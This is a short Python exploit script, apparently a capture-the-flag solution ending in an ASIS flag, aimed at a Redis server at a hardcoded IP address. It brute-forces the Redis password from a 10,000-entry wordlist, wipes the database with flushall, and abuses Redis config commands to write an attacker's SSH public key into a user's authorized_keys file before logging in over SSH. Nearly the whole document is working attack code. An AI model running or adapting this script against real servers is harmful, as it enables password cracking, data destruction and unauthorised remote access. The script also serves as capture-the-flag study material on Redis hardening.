#!/usr/bin/python -u
#-*- coding: utf-8 -*-
#Exploit reference: http://antirez.com/news/96

from pwn import *
import os
import socket
import time

def check_pass(host, port, pw):
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.settimeout(1)
		s.connect((host, port))
		s.sendall("AUTH %s\n" % (pw))
		if 'OK' in s.recv(1024):
			return True
		else:
			return False
	except:
		return False

HOST = '66.172.33.176'
PORT = 6226

# gen pubkey payload
PUBKEY = '\n\nssh-rsa (REDACTED) root@stypr\n\n'
f = open("payload.txt", "w")
f.write(PUBKEY)
f.close()

# bruteforce for password (top 10k)
word_list = file('10kpassword.txt').readlines()
for i in word_list:
	check = check_pass(HOST, PORT, i)
	if check:
		# push payload
		print("Password: %s" % (i,))
		os.system("redis-cli -h %s -p %s -a %s flushall" % (HOST, PORT, i,))
		os.system("cat ./payload.txt | redis-cli -h %s -p %s -a %s -x set pwn" % (HOST, PORT, i,))
		# set config
		os.system("redis-cli -h %s -p %s -a %s config set dir /home/acid/.ssh" % (HOST, PORT, i,))
		os.system("redis-cli -h %s -p %s -a %s config set dbfilename \"authorized_keys\"" % (HOST, PORT, i))
		# save db
		os.system("redis-cli -h %s -p %s -a %s save" % (HOST, PORT, i))
		# wait
		time.sleep(2)
		# ssh to get the flag
		os.system("ssh acid@%s" % (HOST))
		exit()

# ASIS{55ab63e61cac968dd1da217dab2d86b8}